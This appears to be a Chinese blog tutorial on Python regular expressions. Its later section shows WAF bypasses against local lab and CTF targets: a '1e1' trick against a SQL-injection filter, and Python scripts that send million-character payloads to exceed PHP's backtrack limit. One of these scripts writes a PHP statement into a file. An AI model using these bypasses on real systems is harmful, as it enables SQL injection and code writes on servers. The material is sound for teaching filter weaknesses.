python正则表达式与回溯绕过waf

news2025/1/20 3:38:48

1.正则表达式的背景

正则表达式的历史:美国的两个人类神经元研究者,使用特殊的符号描述。之后有一位科学家将这门技术引入了数学,将这门技术命名为正则表示式。

肯汤普森在编写UNIX系统时,将正则引入到了一个编辑器

绝大多数编程语言都支持正则表达式,常见的文本编辑器也都引入了正则表达式

regular expression:简写为re,regexp,regex,中文名称为正则表达式,正则表示式。

正则表达式就是通过特殊的符号来描述或匹配查找检索特定的字符串(或者文本)的功能。

一种全新的理解:首先我们随便举一个例子比如’apple’这个单词,你能如何描述它。你可以描述为它的字母拼写,当然也可以说一个a两个p一个l一个e。当然你要描述它是a开头而e结尾的单词也可以。那么正则表达式更像是一种简洁的语言,用于描述字符的某些特征,通过这些特征我们可以筛选出一类符合我们要求的字符出来。这就是正则的作用。用于匹配字符的通用语言。

它的用途改广泛故被几乎所有成熟的语言引入,从而提供正则的支持。当然我们的python也支持正则表达式的使用。今天我们纠结和着python深入的去学习一下python正则表达式以及其的一些妙用。

2.python中的正则表达式

在包含进入内置的re模块之后我们就可以调用字符串的正则方法了。

import re
#常见方法
compile         编译
sun             替换
match           从前面首位匹配,匹配后返回
search          查找,找到后立刻返回
findall         查找所有,列表返回
finditer        查找所有,迭代器返回
split           切割数据

我们在使用中其实更多用到的就是findall方法,因为其是查找所有结果,并以列表形式返回。简单易用。

2.1 元字符

用于匹配单个字符的字符类型,小窍门:同一字母大小写刚好对应全部匹配的集合。

符号匹配内容
.匹配除换行符(\n)外的所有符号
\w有效符号,匹配字母,数字,下滑线
\d匹配数字
\s空白位(空格,\t制表符)
[ ]匹配中括号中的某个符号,列举
[a-z]中括号中如果出现-,表示一个范围,该返回[a,z]区间,该区间是一个闭区间
[0-9a-zA-Z_]匹配0-9与大小写字母
^x以…开头
x$以…结尾

反义符号

符号含义
\W匹配特殊符号
\D匹配非数字
\S匹配非空白位
[^xxxxx]匹配括号以内的字符外的字符

示例1:单字符匹配示例

import re
a = 'cC55csce8qd5sd9954dsdq-@#1sc0python'

#匹配数字
resoult1 = re.findall('\d',a)
#匹配字母
resoult2 = re.findall('[a-zA-a]',a)

print(resoult1)
print(resoult2)

在这里插入图片描述
可以看到,以单个字符的形式匹配到了对应的字符形式。

示例2:定界符

定界符的概念用于确定边界的字符下例中的ac就是定界符

import re

s = 'abc,acc,adc,aec,afc,agc'
#取反保证中间的字符不匹配e或者f
resoult = re.findall('a[^ef]c',s)

print(resoult)

在这里插入图片描述

示例3:数字位数的严格匹配问题

import re
#要求严格匹配字符的长度为4-8位不合要求的字符串不允许匹配
s1 = '1234'
s2 = '12345678'
s3 = '123456789'

resoult1 = re.findall('\d{4,8}',s1)
resoult2 = re.findall('\d{4,8}',s2)
#不加限定符超过长度的信息不会再截取,但是仍然显示为匹配状态,不符合要求
resoult3 = re.findall('\d{4,8}',s3)
#添加了边界限定符号,强制限定位数
resoult4 = re.findall('^\d{4,8}$',s3)
print(resoult1)
print(resoult2)
print(resoult3)
print(resoult4)

在这里插入图片描述

2.2 位数匹配

匹配了字符之后就需要对匹配的次数加以限定了,这样才能完整的表示出字符的特征

符号含义
*匹配任意次(0到多次)
+匹配1到多次,必须至少要有1次
?0次或者1次
{m}准确匹配m位
{m,}至少m位,可以更多
{m,n}匹配的次数是闭区间

示例:经典匹配次数的训练,看看你能不能猜对答案

import re

s = 'pytho1321354python234pythonnnnnn'

resoult1 = re.findall('python?',s)
resoult2 = re.findall('python+',s)
resoult3 = re.findall('python*',s)
print(resoult1)
print(resoult2)
print(resoult3)

在这里插入图片描述
这里匹配的次数实际上是python单词的最有一个字母n的次数匹配。注意在字符串较长时还是会进行匹配,一旦匹配就返回对应的结果。

2.3 贪婪匹配与非贪婪匹配

贪婪–非贪婪

贪婪模式:正则表达式在匹配时,会尽可能多的匹配

非贪婪模式:正则表达式匹配时,尽可能少的匹配

import re

s = 'python 111java687nodejs569'
#默认贪婪匹配模式,按照最多的次数进行匹配
resoult1 = re.findall('[a-z]{3,6}',s)

#在匹配次数花括号后面添加?切换匹配模式i为懒惰模式,得过且过,够了就行
resoult2 = re.findall('[a-z]{3,6}?',s)

print(resoult1)
print(resoult2)

在这里插入图片描述

2.6 正则的分组

如果需要匹配多个单词组,可以使用(word1|word2|word3|…)选择其一,匹配多组字符,表示或的匹配。

当然作为分组在其返回值中同样可以使用re对象的group方法取出对应分组中的内容加以利用,例如分组中的组0通常代表完整的匹配结果。数字代表括号的位置,其对应组中对应的就是括号内匹配的全部内容。

示例1:分组取出

import re

s1 = 'life is short, I use python,and i love python'

resoult1 = re.search('life(.*)python(.*)python',s1)


print(resoult1)
#分组0存放原始匹配结果
print(resoult1.group(0))
#分组1里面是括号1内的内容
print(resoult1.group(1))
#分组2是括号2内的内容
print(resoult1.group(2))

在这里插入图片描述

2.5 正则的断言

断言又有很多种叫法,比如环视、巡视。断言一共分为了四种

x(?=y) 匹配x,仅仅当x后面跟着y,这是先行肯定断言

(?<=y)x 匹配x,仅当x的前面是y,这是后行肯定断言

x(?!y) 匹配x,仅当x后不是y时匹配x,这是先行否定断言

(?<!y)x 匹配x,仅当x前不是y时匹配x,这是后行否定断言

示例1:匹配标签内容

import re

s1 = '<a target=_blank href="www.aaa.com">百度一下,你就知道</a>百度知道'


resoult1 = re.search('(?<=(href=")).{1,200}(?=(">))',s1)

print(resoult1)
#断言匹配完毕之后的结果回自动分组,中间结果在组0,左右分组分别在1,2内。即就是在涉及到断言式的正则中返回结果的分组0内存放的就会是中间没有括号的内容,当不涉及到断言式时,则会存放整个匹配字符串。
print(resoult1.group(0))
print(resoult1.group(1))
print(resoult1.group(2))

在这里插入图片描述

示例2:断言返回结果的非捕获模式

import re

s1 = '<a target=_blank href="www.aaa.com">百度一下,你就知道</a>百度知道'

#在断言式的内部括号添加'?:'
resoult1 = re.search('(?<=(?:href=")).{1,200}(?=(?:">))',s1)

#0分组这个依然存在
print(resoult1)
print(resoult1.group(0))

#1、2分组关闭捕获
print(resoult1.group(1))

在这里插入图片描述

示例3:用户密码限制

推荐一个网站测试正则:https://regex101.com/

下面是强制匹配六位以上的由数字、大写字母、小写字母、特殊字符组成的密码。

^.*(?=.{6,})(?=.*\d)(?=.*[A-Z])(?=.*[a-z])(?=.*[!@#$%^&*? ]).*$

在这里插入图片描述

3. 正则表达式案例分析

3.1 特殊字符的转义

在文本中我们常常可能会遇到如$ ( ) * + . ? [ ] ^ {等符号需要进行匹配。因为其在正则表达式中具有实际含义,故在使用时需要添加转义符,告诉正则引擎这是一个字符。按照字符来处理。
比如:

\$ \( \{ \[ \* \+ \? \. \\ \^

这里凡是括号类型的其实都可以仅仅转义其左侧符号,因为引擎检测到了单一的右括号直接可以判断出来这是字符,毕竟括号成对出现才有意义。其中不含-是由于其在[ ]内才有意义。

示例:

在这里插入图片描述

3.2 再次匹配先前的文本

如果要匹配一个yyyy-mm-dd 格式的日期,其中月份与日期均为年份的个十位

#这里的\b是单词边界左右的字符边界
\b\d\d(\d\d)-\1-\1\b

在这里插入图片描述
也就是说\number中的数字对应的就是第一个分组括号匹配的内容。该功能可以用来匹配一些特殊的需求。这里同样可以使用网站提供的debuger功能,动画查看匹配过程
在这里插入图片描述

3.3 正则表达式的回溯

更清晰的图文参考文献
这里我们需要回忆一下之前提到的贪婪匹配和惰性匹配两种匹配方式:

1.贪婪匹配:属于贪婪模式的量词,也叫做优先匹配量词,包括{m,n},{m,},?,+*

2.惰性匹配:在匹配优先量词后加上?,立即变为惰性匹配的量词,也叫做忽略优先量词,包括{m,n}?,{m,}?,??,?+*?

回溯:

当前面的分支匹配成功后,没有多余的文本可以被正则后半部分匹配时会产生回溯。

这里用一个简单的例子来解释一下贪婪匹配和惰性匹配中的回溯现象:

#贪婪匹配:/\d+\b/
#惰性匹配:/\d+?\b/
#匹配字符串:1234a

在这里插入图片描述
点击这里的debuger可以开启观察模式:红色区块表示每次匹配失败

贪婪模式:
1.一把匹配到4,发现下一个\b匹配不到
2.吐出一个字符1之后从2再次贪婪匹配到4,发现还是有个\b匹配不到
3.在吐出一个字符2,从3匹配到4发现还是出现了\b
4.在吐出一个字符3,从4匹配,匹配到\b无结果
5.返回false显示匹配失败

懒惰模式:
1.从1开始,下一个不是\b于是回溯
2.下一次连续匹配两个数字,下一个还不是\b,继续回溯
3.再次匹配到3,下一个发现依旧不是\b于是开启回溯
4.一直匹配到4,下一个仍旧不是\b,匹配失败
5.返回false,匹配不成功

我们可以看到无论是那种模式,只要出现多个字符混合匹配的情况就会或多或少的出现回溯情况,即匹配过程中返回上一匹配模式【[元子符]+匹配次数】。

如此往复,那么对于某些匹配模式特别是带有无穷匹配次数的如* +字符在足够多的情况下自然会产生巨量的回溯,造成匹配程序崩溃。为了防止这一情况的出现。php语言规定其最大回溯次数为100万次,超过了这个数字。正则表达式的匹配直接匹配失败,返回false。

4. 小试牛刀

本小节将通过几个安全中的例子来体会一下正则的简单应用。

4.1 绕过边界匹配符号

环境介绍:sqllab靶场第一关的内容进行修改即可。

//这是使用get接收参数,在这里就是对用户的输入进行一个过滤,达到防止slq注入的作用,waf的工作原理与之类似。
$id=$_GET['id'];

//waf1
if(preg_match('/select\b[\s\S]*\bfrom/is',$id)){
	die('sql inject!!! heacker!');
}

我们到网页上去进行正则测试:

在这里插入图片描述
可以看到,waf的正则完美的过滤掉了select * from这段重要的payload那么想要绕过它,就必须先搞清楚正则匹配了什么,两个\b其实就是from左侧的空格边界符号。也就是说,from左边要是不是空格,理论上可以实现绕过,像这样:
在这里插入图片描述

显然,这样的方式是绕过了正则,但是这种格式在sql解释器里面直接会出语法错误。根本无法使用,经过一番查找,终于找到个宝贝,名为1e1的函数,用于科学计数法,并且支持这样的写法:

在这里插入图片描述

将其放置到测试页面,自然可以绕过这个边界waf
在这里插入图片描述
我相信,仔细的你也发现了我们添加进入1e1这个函数后,它的回显是占据了一个字段的,也就是说我们需要人为的手动删除一列回显用于存放1e1的回显。

4.2 用回溯限制绕过正则

示例1:回溯绕过强行写入php语句

我们的目标是写入php语句,先来看后端的php代码:

<?php
$input = $_POST['input'];
echo 'use post method to uplad a file which named "file" --- ';
var_dump($input);
//查看回溯上限
echo '--- pcre.backtrack_limit is:';
var_dump(ini_get('pcre.backtrack_limit'));


if(!is_php($input)){
    $file = fopen("test.php","w");
    fwrite($file,$input);
}
//正则过滤用户输入是否为php语句
function is_php($data){
    return preg_match('/<\?.*[(`;>?].*/is',$data);
}

分析正则:
在这里插入图片描述
赤裸裸的防御,无法写入完整的一句php语句。代码中显示出来的回溯上线是这道题的突破口,我们需要整一个100W长度的字符串让正则失效,返回false从而绕过检测。这一点需要使用python脚本来实现。

import requests

files = {
    'file': '<?php phpinfo();//' + 'a'*1000000
}

res = requests.post('http://127.0.0.1/secbasic/01.php', data=files)

print(res.headers)

测试:

在这里插入图片描述

示例2:回溯绕过正则

demo1:

<?php
function areyouok($greeting){
    return preg_match('/Merry.*Christmas/is',$greeting); //正则匹配
}

var_dump($_POST);
$greeting = $_POST['greeting'];
var_dump($greeting);

if(!areyouok($greeting)){
    if(strpos($greeting,'Merry Christmas') !== false){   //字符查找,如果查找到返回字符的位置,没有就返回false
        echo 'welcome to nanhang. '.'flag{i_Lov3_NanHang_everyThing}';
    }else{
        echo 'Do you know .swp file?';
    }
}else{
    echo 'Do you know PHP?';
}

一阶段想要获取flag我们需要快速理解题意,要拿到flag我们的字符串内必须包含Merry Christmas但同时又要经过正则的过滤。那就只有一个方法,让正则失效,但是因为第一阶段的缘故,限制的不够面,我们尝试下面的传参:
在这里插入图片描述
数组可以直接穿过第一个if,进入第二个strpos($greeting,'Merry Christmas')函数,由于传参只能为字符串,故返回了null。这时判断null !== false成立,打印结果。

补充运算结果图:
在这里插入图片描述

img

demo2:

<?php
function areyouok($greeting){
    return preg_match('/Merry.*Christmas/is',$greeting);
}

$greeting=@$_POST['greeting'];
if(!is_array($greeting)){
    if(!areyouok($greeting)){
        // strpos string postion
        if(strpos($greeting,'Merry Christmas') !== false){
            echo 'Merry Christmas. '.'flag{i_Lov3_NanHang_everyThing}';
        }else{
            echo 'Do you know .swp file?';
        }
    }else{
        echo 'Do you know PHP?';
    }
}
?>

这里加强了防御,过滤掉了数组,那么很显然就需要突破掉正则表达式的限制。需要利用回溯绕过了。

利用脚本

import requests

files = {
    'greeting': 'Merry Christmas'+'a'*1000000
}

res = requests.post('http://127.0.0.1/secbasic/demo4.php', data=files)

print(res.text)

在这里插入图片描述
到这里就,绕过成功了。需要注意的是触发回溯正则绕过的条件,第一是post方法,因为get方法容量问题会返回414报错。第二就是在正则表达式中引用了无穷的次数匹配,且可以通过增加字符串长的方式使其回溯次数增加。满足以上二者条件,就可以使用正则回溯绕过一些特殊的waf。从而达到目的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/161459.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

GNN实战——KarateClub数据集

GNN&#xff1a;graph neural network 图神经网络&#xff0c;是⼀种连接模型&#xff0c;通过⽹络中节点之间的信息传递(message passing)的⽅式来获取图中的依存关系(dependence of graph)&#xff0c;GNN通过从节点任意深度的邻居来更新该节点状态&#xff0c;这个状态能够表…

Linux网络编程 第四天

目录 学习目标 多路IO-poll 多路IO-epoll 进阶epoll 用实验验证LT和ET模式 epoll反应堆 学习目标 1 了解poll函数 2 熟练使用epoll多路IO模型 3 了解epoll ET/LT触发模式并实现 4 理解epoll边缘非阻塞模式并实现 5 了解epoll反应堆模型设计思想 6 能看懂epoll反应堆模型的…

《C++程序设计原理与实践》笔记 第10章 输入/输出流

在本章和下一章中&#xff0c;我们将介绍C标准库中用于处理来自各种源的输入和输出的功能&#xff1a;I/O流。本章关注基本模型&#xff1a;如何读写单个值&#xff0c;以及如何打开和读写整个文件。下一章将介绍具体细节。 10.1 输入和输出 如果没有数据&#xff0c;计算就毫…

【正点原子FPGA连载】第十三章Linux内核移植 摘自【正点原子】DFZU2EG_4EV MPSoC之嵌入式Linux开发指南

1&#xff09;实验平台&#xff1a;正点原子MPSoC开发板 2&#xff09;平台购买地址&#xff1a;https://detail.tmall.com/item.htm?id692450874670 3&#xff09;全套实验源码手册视频下载地址&#xff1a; http://www.openedv.com/thread-340252-1-1.html 第十三章Linux内…

2023版软件测试学习路线图(超详细自学路线)

送福利了&#xff01;超详细的软件测试学习路线图来啦&#xff0c;2023版是首发哟&#xff01;软件测试学习路线图分为9个阶段&#xff0c;包含&#xff1a;软件测试环境配置和管理-->软件测试数据管理与数据库测试-->web前端测试技术-->通用软件测试技术-->Python…

回顾2022! 链上NFT精彩项目大盘点

过去一年&#xff0c;WEB3和元宇宙无疑吸引了一大波关注度和热度。不少知名品牌如耐克、GUCCI、百事可乐、星巴克、麦当劳等都纷纷加入这波浪潮&#xff0c;通过推出NFT、数字商品等&#xff0c;来尝试WEB3机制&#xff0c;进而塑造更好的用户消费体验和参与度。NFT兼具身份、功…

springboot,vue二手交易平台

开发工具&#xff1a;IDEA服务器&#xff1a;Tomcat9.0&#xff0c; jdk1.8项目构建&#xff1a;maven数据库&#xff1a;mysql5.7系统用户前台和管理后台两部分&#xff0c;项目采用前后端分离前端技术&#xff1a;vue elementUI服务端技术&#xff1a;springbootmybatis项目功…

0基础快速掌握正则表达式

背景 在日常开发中&#xff0c;我们经常会遇到使用正则表达式的场景&#xff0c;比如一些常见的表单校验&#xff0c;会让你匹配用户输入的手机号或者身份信息是否规范&#xff0c;这就可以用正则表达式去匹配。相信大多数人在碰到这种场景的时候都是直接去网上找&#xff0c;…

在 2023 ETH Denver 与 Cartesi 一起建设

我们非常高兴的加入了 2023年ETHDenver&#xff0c;参加了BUIDLathon 赛道和现场研讨会等活动。作为规模最大、持续时间最长的ETH 活动之一&#xff0c;我们将向热衷于为全球区块链生态系统做出贡献的新开发者社区分享 Cartesi 技术。你想在2023年#BUIDL 做一些有趣有意义的事情…

基于springboot的景区旅游信息管理系统(源代码+数据库)

基于springboot的景区旅游信息管理系统(源代码数据库) 一、系统介绍 本项目分为管理员与普通用户两种角色 用户登录 前台功能&#xff1a;旅游路线、旅游景点、旅游酒店、旅游车票、旅游保险、旅游策略管理员登录 后台功能&#xff1a;用户管理、旅游路线管理、旅游景点管理…

Codeforces Round #843 (Div. 2)(A~C,E)

A1/A2. Gardener and the Capybaras (easy version)三个字符串&#xff0c;按照顺序连在一起&#xff0c;三个字符串满足第二个字符串大于等于第一个和第三个&#xff0c;或者第二个字符串小于等于第一个和第三个&#xff0c;输出满足情况的三个字符串。思路&#xff1a;对于长…

ubuntu18.04系统下挂载新的机械硬盘

ubuntu18.04系统下挂载新的机械硬盘1.显示硬盘以及所属分区情况sudo fdisk -lDisk /dev/sda doesnt contain a valid partition table硬盘分区 对机械硬盘进行操作 sudo fdisk /dev/sda下图表示的是具体流程截图&#xff1a; The partition table has been altered!硬盘格式…

AWS RDS开启审计日志

问题 需要对AWS的RDS开启相关日志。先检查RDS是否开启日志&#xff0c;如下图&#xff1a; 选中一个数据库实例&#xff0c;查看到只开启了数据库的错误日志。但是&#xff0c;我们需要开启其他类型的审计日志。下面开始怎么样开启其他类型日志&#xff0c;来启用高级审计模…

corrosion 靶机(ffuf模糊测试,命令执行)

环境准备 靶机链接&#xff1a;百度网盘 请输入提取码 提取码&#xff1a;c2j6 虚拟机网络链接模式&#xff1a;桥接模式 攻击机系统&#xff1a;kali linux 2022.03 信息收集 1.探测目标靶机开放端口和服务情况 2.用gobuster扫描目录&#xff0c;并访问 gobuster dir -…

手把手编译FFmpeg

支持centos8.6、ubuntu20.04 export 建议开始之前&#xff0c;弄一台干净的机子&#xff0c;或者系统恢复到出厂设置&#xff0c;否则容易出问题 然后设置动态库默认加载目录&#xff08;注意/usr/local/lib不是系统默认的路径&#xff0c;/lib和/usr/lib才是&#xff09; …

jsp库存管理管理系统Myeclipse开发mysql数据库web结构java编程计算机网页项目

一、源码特点 JSP 库存管理管理系统 是一套完善的系统源码&#xff0c;对理解JSP java serlvet MVC编程开发语言有帮助&#xff0c;系统具有完整的源代码和数据库&#xff0c;以及相应配套的设计文档&#xff0c;系统主要采用B/S 模式开发。 通过本系统建设&#xff0c…

ArcGIS基础实验操作100例--实验97计算河道方向坡度

本实验专栏参考自汤国安教授《地理信息系统基础实验操作100例》一书 实验平台&#xff1a;ArcGIS 10.6 实验数据&#xff1a;请访问实验1&#xff08;传送门&#xff09; 空间分析篇--实验97 计算河道方向坡度 目录 一、实验背景 二、实验数据 三、实验步骤 &#xff08;1&…

内存管理-模板初阶理解-string类的模拟实现

文章目录1. 内存管理operator new和operator delete面试题&#xff1a;malloc、free和new、delete的区别2. 内存泄漏1. 内存泄漏&#xff1a;2. 内存泄漏危害&#xff1a;3.堆内存泄漏4.系统资源泄漏3. 模板初阶函数模板类模板&#xff1a;模板运行时不检查数据类型&#xff0c…

黑马编程资源最新最全全清单:速来收藏~

今年是黑马坚持免费分享视频教程的第16年&#xff0c;每年到了这个时候&#xff0c;「成绩单」也不会缺席&#xff0c;不仅是对过往的回顾&#xff0c;更是对那些选择跟着黑马持续学习的小伙伴们的一种激励。 黑马视频教程2022年速报 截至年底&#xff0c;黑马程序员 B 站累计…

ArcGIS基础实验操作100例--实验96创建地形剖面图

本实验专栏参考自汤国安教授《地理信息系统基础实验操作100例》一书 实验平台&#xff1a;ArcGIS 10.6 实验数据&#xff1a;请访问实验1&#xff08;传送门&#xff09; 空间分析篇--实验96 创建地形剖面图 目录 一、实验背景 二、实验数据 三、实验步骤 &#xff08;1&am…